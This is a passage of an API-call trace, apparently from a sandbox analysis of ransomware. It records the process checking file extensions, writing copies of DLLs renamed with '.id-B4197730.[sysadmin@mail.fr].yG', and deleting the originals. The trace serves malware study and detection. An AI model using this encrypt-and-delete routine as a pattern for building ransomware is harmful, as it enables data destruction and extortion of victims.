	[0055.480] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.480] lstrlenW (lpString=".7z") returned 3
	[0055.480] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.480] lstrlenW (lpString=".dbf") returned 4
	[0055.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.480] lstrlenW (lpString=".1cd") returned 4
	[0055.480] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0055.480] lstrlenW (lpString=".jpg") returned 4
	[0055.480] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.480] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.480] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0055.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.480] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=22720) returned 1
	[0055.481] CloseHandle (hObject=0x334) returned 1
	[0055.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20
	[0055.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.481] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.481] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0055.481] GetLastError () returned 0x0
	[0055.481] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x58c0, lpOverlapped=0x0) returned 1
	[0055.493] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x58d0, lpOverlapped=0x0) returned 1
	[0055.494] ReadFile (in: hFile=0x334, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.494] WriteFile (in: hFile=0x32c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.495] SetEndOfFile (hFile=0x32c) returned 1
	[0055.495] CloseHandle (hObject=0x32c) returned 1
	[0055.496] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.496] SetEndOfFile (hFile=0x334) returned 1
	[0055.496] CloseHandle (hObject=0x334) returned 1
	[0055.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1
	[0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.499] lstrlenW (lpString=".doc") returned 4
	[0055.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.499] lstrlenW (lpString=".docx") returned 5
	[0055.499] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.500] lstrlenW (lpString=".pdf") returned 4
	[0055.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString=".xls") returned 4
	[0055.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString=".xlsx") returned 5
	[0055.500] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.500] lstrlenW (lpString=".ppt") returned 4
	[0055.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString=".zip") returned 4
	[0055.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString=".rar") returned 4
	[0055.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString=".bz2") returned 4
	[0055.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.500] lstrlenW (lpString=".7z") returned 3
	[0055.500] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString=".dbf") returned 4
	[0055.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString=".1cd") returned 4
	[0055.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString=".jpg") returned 4
	[0055.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.500] lstrlenW (lpString=".doc") returned 4
	[0055.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.500] lstrlenW (lpString=".docx") returned 5
	[0055.500] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.501] lstrlenW (lpString=".pdf") returned 4
	[0055.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.501] lstrlenW (lpString=".xls") returned 4
	[0055.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.501] lstrlenW (lpString=".xlsx") returned 5
	[0055.501] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.501] lstrlenW (lpString=".ppt") returned 4
	[0055.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.501] lstrlenW (lpString=".zip") returned 4
	[0055.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.501] lstrlenW (lpString=".rar") returned 4
	[0055.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.501] lstrlenW (lpString=".bz2") returned 4
	[0055.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.501] lstrlenW (lpString=".7z") returned 3
	[0055.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.501] lstrlenW (lpString=".dbf") returned 4
	[0055.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.501] lstrlenW (lpString=".1cd") returned 4
	[0055.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0055.501] lstrlenW (lpString=".jpg") returned 4
	[0055.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.501] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.501] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0055.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.502] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=20672) returned 1
	[0055.502] CloseHandle (hObject=0x398) returned 1
	[0055.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20
	[0055.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.503] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.503] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.504] GetLastError () returned 0x0
	[0055.504] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x50c0, lpOverlapped=0x0) returned 1
	[0055.508] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x50d0, lpOverlapped=0x0) returned 1
	[0055.509] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.509] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0055.509] SetEndOfFile (hFile=0x330) returned 1
	[0055.509] CloseHandle (hObject=0x330) returned 1
	[0055.510] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.510] SetEndOfFile (hFile=0x398) returned 1
	[0055.511] CloseHandle (hObject=0x398) returned 1
	[0055.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1
	[0055.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.511] lstrlenW (lpString=".doc") returned 4
	[0055.511] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.511] lstrlenW (lpString=".docx") returned 5
	[0055.512] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.512] lstrlenW (lpString=".pdf") returned 4
	[0055.512] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString=".xls") returned 4
	[0055.512] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString=".xlsx") returned 5
	[0055.512] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.512] lstrlenW (lpString=".ppt") returned 4
	[0055.512] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString=".zip") returned 4
	[0055.512] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString=".rar") returned 4
	[0055.512] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString=".bz2") returned 4
	[0055.512] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.512] lstrlenW (lpString=".7z") returned 3
	[0055.512] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString=".dbf") returned 4
	[0055.512] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString=".1cd") returned 4
	[0055.512] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString=".jpg") returned 4
	[0055.512] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.512] lstrlenW (lpString=".doc") returned 4
	[0055.512] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.512] lstrlenW (lpString=".docx") returned 5
	[0055.513] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.513] lstrlenW (lpString=".pdf") returned 4
	[0055.513] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.513] lstrlenW (lpString=".xls") returned 4
	[0055.513] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.513] lstrlenW (lpString=".xlsx") returned 5
	[0055.513] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.513] lstrlenW (lpString=".ppt") returned 4
	[0055.513] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.513] lstrlenW (lpString=".zip") returned 4
	[0055.513] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.513] lstrlenW (lpString=".rar") returned 4
	[0055.513] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.513] lstrlenW (lpString=".bz2") returned 4
	[0055.513] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.513] lstrlenW (lpString=".7z") returned 3
	[0055.513] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.513] lstrlenW (lpString=".dbf") returned 4
	[0055.513] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.513] lstrlenW (lpString=".1cd") returned 4
	[0055.513] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94
	[0055.513] lstrlenW (lpString=".jpg") returned 4
	[0055.513] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.513] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.514] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0055.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.514] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=19648) returned 1
	[0055.514] CloseHandle (hObject=0x398) returned 1
	[0055.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20
	[0055.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0055.514] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.514] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0055.514] GetLastError () returned 0x0
	[0055.514] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0055.516] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0055.517] ReadFile (in: hFile=0x398, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.517] WriteFile (in: hFile=0x330, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x110, lpOverlapped=0x0) returned 1
	[0055.517] SetEndOfFile (hFile=0x330) returned 1
	[0055.518] CloseHandle (hObject=0x330) returned 1
	[0055.518] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.519] SetEndOfFile (hFile=0x398) returned 1
	[0055.519] CloseHandle (hObject=0x398) returned 1
	[0055.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.520] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1
	[0055.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.520] lstrlenW (lpString=".doc") returned 4
	[0055.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString=".docx") returned 5
	[0055.520] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.520] lstrlenW (lpString=".pdf") returned 4
	[0055.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString=".xls") returned 4
	[0055.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString=".xlsx") returned 5
	[0055.520] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.520] lstrlenW (lpString=".ppt") returned 4
	[0055.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.520] lstrlenW (lpString=".zip") returned 4
	[0055.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString=".rar") returned 4
	[0055.520] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.520] lstrlenW (lpString=".bz2") returned 4
	[0055.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.520] lstrlenW (lpString=".7z") returned 3
	[0055.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.521] lstrlenW (lpString=".dbf") returned 4
	[0055.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.521] lstrlenW (lpString=".1cd") returned 4
	[0055.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.521] lstrlenW (lpString=".jpg") returned 4
	[0055.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
	[0055.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88
